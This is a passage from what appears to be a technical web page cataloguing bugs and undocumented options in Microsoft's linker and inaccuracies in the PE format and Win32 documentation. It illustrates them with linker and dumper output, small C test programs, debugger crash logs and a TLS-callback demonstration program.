3000 virtual address (00403000 to 00403003) 200 size of raw data 600 file pointer to raw data (00000600 to 000007FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 40000040 flags Initialized Data Read Only SECTION HEADER #4 .data name 4 virtual size 4000 virtual address (00404000 to 00404003) 200 size of raw data 800 file pointer to raw data (00000800 to 000009FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers C0000040 flags Initialized Data Read Write SECTION HEADER #5 .reloc name 32 virtual size 5000 virtual address (00405000 to 00405031) 200 size of raw data A00 file pointer to raw data (00000A00 to 00000BFF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 42000040 flags Initialized Data Discardable Read Only Summary 1000 .blunder 1000 .data 1000 .rdata 1000 .reloc 1000 .text Microsoft (R) COFF/PE Editor Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. blunder.exe : warning LNK4039: section '.xcept' specified with /SECTION option does not exist blunder.exe : warning LNK4039: section '.static' specified with /SECTION option does not existOops: the linker places the (writable)
.bss
alias
.blunder
section not last, i.e. not after the also
writable .data
section, but between the read-only
.text
and .rdata
sections!
OOPS: the linker prints bogus
informational messages and even warnings LNK4253
for
sections which exist neither in its input files nor the output file!
Link the object file blunder.obj
created in
step 1. a third time to generate the executable image file
blunder.exe
, again merging the
.bss
section into the
.blunder
section, now using the
undocumented /LAST
linker option,
then enumerate its headers:
LINK.EXE /LINK /BREPRO /ENTRY:mainCRTStartup /LAST:.blunder /MERGE:.bss=.blunder /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj LINK.EXE /DUMP /HEADERS blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation. All rights reserved.
LINK : file alignment: 512, section alignment: 4096
LINK : section '.bss' (C0000080) merged into '.blunder' (C0000080)
LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file blunder.exe
PE signature found
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
14C machine (x86)
5 number of sections
FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
102 characteristics
Executable
32 bit word machine
OPTIONAL HEADER VALUES
10B magic # (PE32)
10.00 linker version
200 size of code
600 size of initialized data
200 size of uninitialized data
1000 entry point (00401000)
1000 base of code
2000 base of data
400000 image base (00400000 to 00405FFF)
1000 section alignment
200 file alignment
5.01 operating system version
0.00 image version
5.01 subsystem version
0 Win32 version
6000 size of image
400 size of headers
0 checksum
3 subsystem (Windows CUI)
8540 DLL characteristics
Dynamic base
NX compatible
No structured exception handler
Terminal Server Aware
100000 size of stack reserve
1000 size of stack commit
100000 size of heap reserve
1000 size of heap commit
0 loader flags
10 number of directories
0 [ 0] RVA [size] of Export Directory
0 [ 0] RVA [size] of Import Directory
0 [ 0] RVA [size] of Resource Directory
0 [ 0] RVA [size] of Exception Directory
0 [ 0] RVA [size] of Certificates Directory
5000 [ 14] RVA [size] of Base Relocation Directory
0 [ 0] RVA [size] of Debug Directory
0 [ 0] RVA [size] of Architecture Directory
0 [ 0] RVA [size] of Global Pointer Directory
0 [ 0] RVA [size] of Thread Storage Directory
0 [ 0] RVA [size] of Load Configuration Directory
0 [ 0] RVA [size] of Bound Import Directory
0 [ 0] RVA [size] of Import Address Table Directory
0 [ 0] RVA [size] of Delay Import Directory
0 [ 0] RVA [size] of COM Descriptor Directory
0 [ 0] RVA [size] of Reserved Directory
SECTION HEADER #1
.text name
20 virtual size
1000 virtual address (00401000 to 0040101F)
200 size of raw data
400 file pointer to raw data (00000400 to 000005FF)
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
Execute Read
SECTION HEADER #2
.rdata name
4 virtual size
2000 virtual address (00402000 to 00402003)
200 size of raw data
600 file pointer to raw data (00000600 to 000007FF)
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
Read Only
SECTION HEADER #3
.data name
4 virtual size
3000 virtual address (00403000 to 00403003)
200 size of raw data
800 file pointer to raw data (00000800 to 000009FF)
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000040 flags
Initialized Data
Read Write
SECTION HEADER #4
.blunder name
4 virtual size
4000 virtual address (00404000 to 00404003)
0 size of raw data
0 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000080 flags
Uninitialized Data
Read Write
SECTION HEADER #5
.reloc name
32 virtual size
5000 virtual address (00405000 to 00405031)
200 size of raw data
A00 file pointer to raw data (00000A00 to 00000BFF)
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42000040 flags
Initialized Data
Discardable
Read Only
Summary
1000 .blunder
1000 .data
1000 .rdata
1000 .reloc
1000 .text
Note: the undocumented
/LAST:‹section›
linker option
places the specified section last, after the .text
,
.rdata
and .data
sections created by the Visual C compiler, but
before the .reloc
section generated by the linker.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
VOID mainCRTStartup(VOID)
{
ExitProcess('VOID');
}
Compile the source file blunder.c
created in
step 1. to generate the object file blunder.obj
,
then enumerate the names and sizes of its
COFF sections:
CL.EXE /c /W4 /Zl blunder.c LINK.EXE /DUMP blunder.obj
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.obj File Type: COFF OBJECT Summary 74 .debug$S 3 .drectve 10 .text
�
LINK.EXE /LINK /ENTRY:mainCRTStartup /EXPORT:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj kernel32.lib LINK.EXE /DUMP /IMPORTS blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. LINK : file alignment: 512, section alignment: 4096 LINK : warning LNK4216: Exported entry point _mainCRTStartup Creating library blunder.lib and object blunder.exp LINK : section '.sdata' (C0000040) merged into '.data' (C0000040) LINK : section '.xdata' (40000040) merged into '.rdata' (40000040) Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.exe File Type: EXECUTABLE IMAGE Section contains the following imports: KERNEL32.dll 402000 Import Address Table 402030 Import Name Table 0 time date stamp 0 Index of first forwarder reference 119 ExitProcess Summary 1000 .rdata 1000 .reloc 1000 .textOops: the linker fails to print informative messages that it merges the
.edata
and .idata
sections generated by
itself into the .rdata
section!
�
LINK.EXE /LINK /ENTRY:mainCRTStartup /EXPORT:mainCRTStartup /NODEFAULTLIB /NOOPTIDATA /SUBSYSTEM:CONSOLE /TEST blunder.obj kernel32.lib LINK.EXE /DUMP /IMPORTS blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. LINK : file alignment: 512, section alignment: 4096 LINK : warning LNK4216: Exported entry point _mainCRTStartup Creating library blunder.lib and object blunder.exp LINK : section '.sdata' (C0000040) merged into '.data' (C0000040) LINK : section '.xdata' (40000040) merged into '.rdata' (40000040) Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.exe File Type: EXECUTABLE IMAGE Section contains the following imports: KERNEL32.dll 403030 Import Address Table 403028 Import Name Table 0 time date stamp 0 Index of first forwarder reference 119 ExitProcess Summary 1000 .idata 1000 .rdata 1000 .reloc 1000 .textNote: with the undocumented
/NOOPTIDATA
linker option
the .idata
section is not merged
into the .rdata
section!
Note: there exists but no corresponding
/NOOPTEDATA
linker option
to disable merging of the .edata
section into the .rdata
section – use the /MERGE:.edata=.export
linker option
to generate a separate .export
section for the
Export Directory instead.
Link.exe
.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2001-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
int main(void)
{}
Compile and link the source file blunder.c
created in
step 1. using the undocumented
/ALTERNATENAME:‹alternate name›=‹existing name›
linker option:
SET CL=/W4 /X /Zl SET LINK=/ALTERNATENAME:_wmainCRTStartup=_main /BREPRO /FIXED /MANIFEST /MAP /NODEFAULTLIB /RELEASE CL.EXE blunder.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ALTERNATENAME:_mainCRTStartup=_main /BREPRO /FIXED /MAP /MANIFEST /NODEFAULTLIB /RELEASE /out:blunder.exe blunder.obj
Display the
application manifest
blunder.exe.manifest
created in step 2. to show
the quirk:
TYPE blunder.exe.manifest
<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>Oops: I suppose there must be a really compelling reason to mix single and double quotes in the generated manifest!
Display the linker map file blunder.map
and the headers
of the console application blunder.exe
built in
step 2. to show the bug:
TYPE blunder.map LINK.EXE /DUMP /HEADERS blunder.exe
blunder Timestamp is ffffffff (Sun Feb 07 07:28:15 2106) Preferred load address is 00400000 Start Length Name Class 0001:00000000 00000007H .text CODE Address Publics by Value Rva+Base Lib:Object 0000:00000000 ___safe_se_handler_count 00000000 <absolute> 0000:00000000 ___safe_se_handler_table 00000000 <absolute> 0001:00000000 _mainCRTStartup 00401000 f blunder.obj 0001:00000000 _main 00401000 f blunder.obj entry point at 0001:00000000 Static symbols Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.exe PE signature found File Type: EXECUTABLE IMAGE FILE HEADER VALUES 14C machine (x86) 1 number of sections FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106 0 file pointer to symbol table 0 number of symbols E0 size of optional header 103 characteristics Relocations stripped Executable 32 bit word machine OPTIONAL HEADER VALUES 10B magic # (PE32) 10.00 linker version 200 size of code 0 size of initialized data 0 size of uninitialized data 8 entry point (00400008) 1000 base of code 2000 base of data 400000 image base (00400000 to 00401FFF) […]OUCH: while the linker map shows the entry point as expected at the address 0x00401000 of the
main()
function, the header dump shows it but inside the non-executable
DOS
header, i.e. the
console application blunder.exe
will crash upon start
with an execute access violation!
(Optional) If you have the
Debugging Tools for Windows
installed, execute the console application blunder.exe
built in step 2. under the debugger:
CDB.EXE /C g;q /G /g .\blunder.exeNote: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\blunder.exe Symbol search path is: srv* Executable search path is: ModLoad: 00400000 00402000 image00400000 ModLoad: 779c0000 77b40000 ntdll.dll ModLoad: 75610000 75720000 C:\Windows\syswow64\kernel32.dll ModLoad: 752d0000 75317000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 75540000 755e1000 C:\Windows\syswow64\ADVAPI32.DLL ModLoad: 757a0000 7584c000 C:\Windows\syswow64\msvcrt.dll ModLoad: 77420000 77439000 C:\Windows\SysWOW64\sechost.dll ModLoad: 77300000 773f0000 C:\Windows\syswow64\RPCRT4.dll ModLoad: 750e0000 75140000 C:\Windows\syswow64\SspiCli.dll ModLoad: 750d0000 750dc000 C:\Windows\syswow64\CRYPTBASE.dll (a34.149c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=7562342b ebx=7efde000 ecx=00000000 edx=00400008 esi=00000000 edi=00000000 eip=00400008 esp=000dff8c ebp=000dff94 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** ERROR: Module load completed but symbols could not be loaded for image00400000 image00400000+0x8: 00400008 0400 add al,0 0:000:x86> cdb: Reading initial command 'g;q' (a34.149c): Access violation - code c0000005 (!!! second chance !!!) quit:
Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\blunder.exe Symbol search path is: srv* Executable search path is: ModLoad: 00000001`40000000 00000001`40002000 image00000001`40000000 ModLoad: 00000000`77800000 00000000`7799f000 ntdll.dll ModLoad: 00000000`775e0000 00000000`776ff000 C:\Windows\system32\kernel32.dll ModLoad: 000007fe`fd510000 000007fe`fd577000 C:\Windows\system32\KERNELBASE.dll ModLoad: 000007fe`fd980000 000007fe`fda5b000 C:\Windows\system32\ADVAPI32.DLL ModLoad: 000007fe`fe1c0000 000007fe`fe25f000 C:\Windows\system32\msvcrt.dll ModLoad: 000007fe`fe260000 000007fe`fe27f000 C:\Windows\SYSTEM32\sechost.dll ModLoad: 000007fe`ff250000 000007fe`ff37c000 C:\Windows\system32\RPCRT4.dll (5080.5100): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Module load completed but symbols could not be loaded for image00000001`40000000 image00000001_40000000+0x7: 00000001`40000007 000400 add byte ptr [rax+rax],al ds:00000000`eebeaac0=?? 0:000> cdb: Reading initial command 'g;q' (5080.5100): Access violation - code c0000005 (!!! second chance !!!) quit:
The Load Configuration Structure (Image Only)section:
The load configuration structure (IMAGE_LOAD_CONFIG_DIRECTORY) was formerly used in very limited cases in the Windows NT operating system itself to describe various features too difficult or too large to describe in the file header or optional header of the image. Current versions of the Microsoft linker and Windows XP and later versions of Windows use a new version of this structure for 32-bit x86-based systems that include reserved SEH technology.OUCH¹: the highlighted statement of this documentation is but misleading and wrong –
[…]
The Microsoft linker automatically provides a default load configuration structure to include the reserved SEH data. If the user code already provides a load configuration structure, it must include the new reserved SEH fields. Otherwise, the linker cannot include the reserved SEH data and the image is not marked as containing reserved SEH.
LINK.exe
neither provides an
IMAGE_LOAD_CONFIG_DIRECTORY
structure nor reports its omission with an error message!
The documentation for the /SAFESEH linker option provides the correct information:
If you link withThe specification of the PE Format continues with the following disinformation:/NODEFAULTLIB
and you want a table of safe exception handlers, you need to supply a load config struct (…) that contains all the entries defined for Visual C++. For example:#include <windows.h> extern DWORD_PTR __security_cookie; /* /GS security cookie */ /* * The following two names are automatically created by the linker for any * image that has the safe exception table present. */ extern PVOID __safe_se_handler_table[]; /* base of safe handler entry table */ extern BYTE __safe_se_handler_count; /* absolute symbol whose address is the count of table entries */ const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = { sizeof(IMAGE_LOAD_CONFIG_DIRECTORY32), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &__security_cookie, __safe_se_handler_table, (DWORD)(DWORD_PTR) &__safe_se_handler_count };
Load Configuration LayoutOUCH²: the documentation for theThe load configuration structure has the following layout for 32-bit and 64-bit PE files:
Offset Size Field Description 0 4 Characteristics Flags that indicate attributes of the file, currently unused. … … … … 54/78 2 Reserved Must be zero.
IMAGE_LOAD_CONFIG_DIRECTORY
structure but states that the field at offset 0 stores the size of
the structure, and the field at offset 54 (for 32-bit images) or 78
(for 64-bit images) stores the
/DEPENDENTLOADFLAG
!
The .tls section:
The .tls section provides direct PE and COFF support for static thread local storage (TLS). […] a static TLS variable can be defined as follows, without using the Windows API:Ouch: even the very first (highlighted) statement of this documentation is misleading and wrong – support for TLS is enabled with the
__declspec (thread) int tlsFlag = 1;
To support this programming construct, the PE and COFF .tls section specifies the following information: initialization data, callback routines for per-thread initialization and termination, and the TLS index, which are explained in the following discussion.
Note
Statically declared TLS data objects can be used only in statically loaded image files. This fact makes it unreliable to use static TLS data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function.
Executable code accesses a static TLS data object through the following steps:
At link time, the linker sets the Address of Index field of the TLS directory. This field points to a location where the program expects to receive the TLS index.
The Microsoft run-time library facilitates this process by defining a memory image of the TLS directory and giving it the special name "__tls_used" (Intel x86 platforms) or "_tls_used" (other platforms). The linker looks for this memory image and uses the data there to create the TLS directory. Other compilers that support TLS and work with the Microsoft linker must use this same technique.
When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the FS register. A pointer to the TLS array is at the offset of 0x2C from the beginning of TEB. This behavior is Intel x86-specific.
The loader assigns the value of the TLS index to the place that was indicated by the Address of Index field.
The executable code retrieves the TLS index and also the location of the TLS array.
The code uses the TLS index and the TLS array location (multiplying the index by 4 and using it as an offset to the array) to get the address of the TLS data area for the given program and module. Each thread has its own TLS data area, but this is transparent to the program, which does not need to know how data is allocated for individual threads.
An individual TLS data object is accessed as some fixed offset into the TLS data area.
IMAGE_TLS_DIRECTORY
structure which provides the
addresses of the initialisation data, the index and the callback
function pointer list, and is addressed in the tenth entry of the
IMAGE_DATA_DIRECTORY
array in the
IMAGE_OPTIONAL_HEADER
structure!
Note: the .tls
section is required
only when TLS data
is initialised – it is not needed when data is just declared.
Ouch: the initial note is but obsolete and wrong – Windows Vista and later versions of Windows NT support static TLS data in dynamically loaded DLLs!
Note: the multiplier 4 is of course only correct for 32-bit platforms – 64-bit platforms require the multiplier 8.
The documentation misses the following part for the x64 alias AMD64 processor architecture (and corresponding parts for other processor architectures as well):
Note: on the i386 alias x86 platform, the Visual C compiler references (the absolute address of) the external symbol
When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the GS register. A pointer to the TLS array is at the offset of 0x58 from the beginning of the TEB. This behavior is Intel x64-specific.
__tls_array
despite the fixed value of this offset.
The specification of the PE Format continues:
OOPS: theThe TLS directory has the following format:
Offset (PE32/PE32+) Size (PE32/PE32+) Field Description 0 4/8 Raw Data Start VA The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section. 4/8 4/8 Raw Data End VA The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA. 8/16 4/8 Address of Index The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program. 12/24 4/8 Address of Callbacks The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see TLS Callback Functions. 16/32 4 Size of Zero Fill The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data. 20/36 4 Characteristics The four bits [23:20] describe alignment info. Possible values are those defined as IMAGE_SCN_ALIGN_*, which are also used to describe alignment of section in object files. The other 28 bits are reserved for future use.
Raw Data End VAfield contains the address of the first byte after the TLS template!
OUCH: the Size of Zero Fill
field is
not supported at all!
Note: if the size of the initialised data for the
.tls
section in the image file is less than the section
size, the module loader fills the additional uninitialised data with
zeroes, i.e. the Size of Zero Fill
field is superfluous.
Caveat: the documentation lacks the information
that the Visual C compiler puts all data for the
TLS template in
COFF sections
.tls$‹suffix›
– which it declares
but writable instead of read-only
, i.e. it
fails to protect the template data against corruption, an easily
avoidable safety hazard!
The specification of the PE Format continues:
The program can provide one or more TLS callback functions […]The prototype for a callback function (pointed to by a pointer of type PIMAGE_TLS_CALLBACK) has the same parameters as a DLL entry-point function:
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK) ( PVOID DllHandle, DWORD Reason, PVOID Reserved );
The Reserved parameter should be set to zero. The Reason parameter can take the following values:
Setting Value Description DLL_PROCESS_ATTACH 1 A new process has started, including the first thread. DLL_THREAD_ATTACH 2 A new thread has been created. This notification sent for all but the first thread. DLL_THREAD_DETACH 3 A thread is about to be terminated. This notification sent for all but the first thread. DLL_PROCESS_DETACH 0 A process is about to terminate, including the original thread.
/SECTION:.tls,r
linker option
to set the .tls
section read-only.
ExitThread()
states:
Ends the calling thread.OUCH¹: contrary to the highlighted statement of this documentation, the entry-point function of any DLL is only called unless disabled with a prior call of[…]
When this function is called (either explicitly or by returning from a thread procedure), […] The entry-point function of all attached dynamic-link libraries (DLLs) is invoked with a value indicating that the thread is detaching from the DLL.
[…]
Use the GetExitCodeThread function to retrieve a thread's exit code.
DisableThreadLibraryCalls()
for the respective
DLL!
The documentation for the Win32 function
ExitProcess()
states:
Ends the calling process and all its threads.OUCH²: both documentations cited above but fail to tell that the TLS Callback Functions of all loaded DLLs as well as those of the program itself are called with[…]
Use the GetExitCodeProcess function to retrieve the process's exit value. Use the GetExitCodeThread function to retrieve a thread's exit value.
Exiting a process causes the following:
- All of the threads in the process, except the calling thread, terminate their execution without receiving a DLL_THREAD_DETACH notification.
- The states of all of the threads terminated in step 1 become signaled.
- The entry-point functions of all loaded dynamic-link libraries (DLLs) are called with DLL_PROCESS_DETACH.
- After all attached DLLs have executed any process termination code, the ExitProcess function terminates the current process, including the calling thread.
- The state of the calling thread becomes signaled.
- All of the object handles opened by the process are closed.
- The termination status of the process changes from STILL_ACTIVE to the exit value of the process.
- The state of the process object becomes signaled, satisfying any threads that had been waiting for the process to terminate.
DLL_THREAD_DETACH
and DLL_PROCESS_DETACH
!
Terminating a Process
Terminating a Thread
Thread Local Storage (TLS)
The documentation for the Win32 function
GetExitCodeProcess()
states:
Retrieves the termination status of the specified process.OUCH³: the (default) entry points of Win32 applications are[…] If the process has not terminated and the function succeeds, the status returned is STILL_ACTIVE (a macro for STATUS_PENDING). If the process has terminated and the function succeeds, the status returned is one of the following values:
- The exit value specified in the ExitProcess or TerminateProcess function.
- The return value from the main or WinMain function of the process.
- The exception value for an unhandled exception that caused the process to terminate.
mainCRTStartup
,
wmainCRTStartup
, WinMainCRTStartup
and
wWinMainCRTStartup
– main
and
WinMain
are superfluous artifacts
called from the
MSVCRT
libraries!
The documentation for the Win32 function
GetExitCodeThread()
states:
Retrieves the termination status of the specified thread.[…] If the specified thread has not terminated and the function succeeds, the status returned is STILL_ACTIVE. If the thread has terminated and the function succeeds, the status returned is one of the following values:
- The exit value specified in the ExitThread or TerminateThread function.
- The return value from the thread function.
- The exit value of the thread's process.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szReason[4] = {L"process detach",
L"process attach",
L"thread attach",
L"thread detach"};
__declspec(safebuffers)
VOID WINAPI TLSCallback(HMODULE hModule, DWORD dwReason, LPVOID lpUnused)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwProcess;
DWORD dwThread;
DWORD dwThreadId = GetCurrentThreadId();
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
return;
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
else
szCaller[0] = L'\0';
GetExitCodeThread(GetCurrentThread(), &dwThread);
GetExitCodeProcess(GetCurrentProcess(), &dwProcess);
PrintConsole(hError,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tArguments:\n"
L"\t\tModule = 0x%p\n"
L"\t\tReason = %lu (%ls)\n"
L"\t\tUnused = 0x%p\n"
L"\tThread id = %lu\n"
L"\tThread exit code = %ld\n"
L"\tProcess exit code = %ld\n",
TLSCallback,
hModule, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
hModule, dwReason, szReason[dwReason], lpUnused,
dwThreadId,
dwThread,
dwProcess);
}
DWORD _tls_index = 'VOID'; // NOTE: assigned by the module loader!
const PIMAGE_TLS_CALLBACK _tls_callbacks[] = {TLSCallback, NULL};
// BUG: the module loader discards the 'SizeOfZeroFill' member!
const IMAGE_TLS_DIRECTORY _tls_used = {NULL,
NULL,
&_tls_index,
_tls_callbacks,
'VOID',
IMAGE_SCN_ALIGN_16BYTES};
extern const IMAGE_DOS_HEADER __ImageBase;
__declspec(safebuffers)
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
HMODULE hCaller;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError != INVALID_HANDLE_VALUE)
{
dwModule = GetModuleFileName((HMODULE) &__ImageBase,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
else
szCaller[0] = L'\0';
PrintConsole(hError,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tParameter = 0x%p\n"
L"\tThread id = %lu\n",
ThreadProc,
&__ImageBase, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
lpParameter,
GetCurrentThreadId());
}
if (lpParameter == NULL)
return 'NULL';
ExitProcess(WaitForSingleObject(GetCurrentThread(), 123));
}
#ifdef _DLL
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpContext)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwThreadId = GetCurrentThreadId();
HANDLE hThread;
HANDLE hConsole = GetConsoleWindow();
if (hConsole == NULL)
return FALSE;
hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return FALSE;
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
else
szCaller[0] = L'\0';
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tArguments:\n"
L"\t\tModule = 0x%p\n"
L"\t\tReason = %lu (%ls)\n"
L"\t\tContext = 0x%p\n"
L"\tThread id = %lu\n"
L"\tTLS index = %ld\n"
L"\tTLS value = 0x%p\n"
L"\tTLS array @ 0x%p\n"
L"\tTLS block @ 0x%p\n",
_DllMainCRTStartup,
hModule, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
hModule, dwReason, szReason[dwReason], lpContext,
dwThreadId,
_tls_index,
TlsGetValue(_tls_index),
#ifdef _M_IX86
__readfsdword(44),
((LPVOID *) __readfsdword(44))[_tls_index]);
#elif _M_AMD64
__readgsqword(88),
((LPVOID *) __readgsqword(88))[_tls_index]);
#else
#error Only I386 and AMD64 supported!
#endif
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
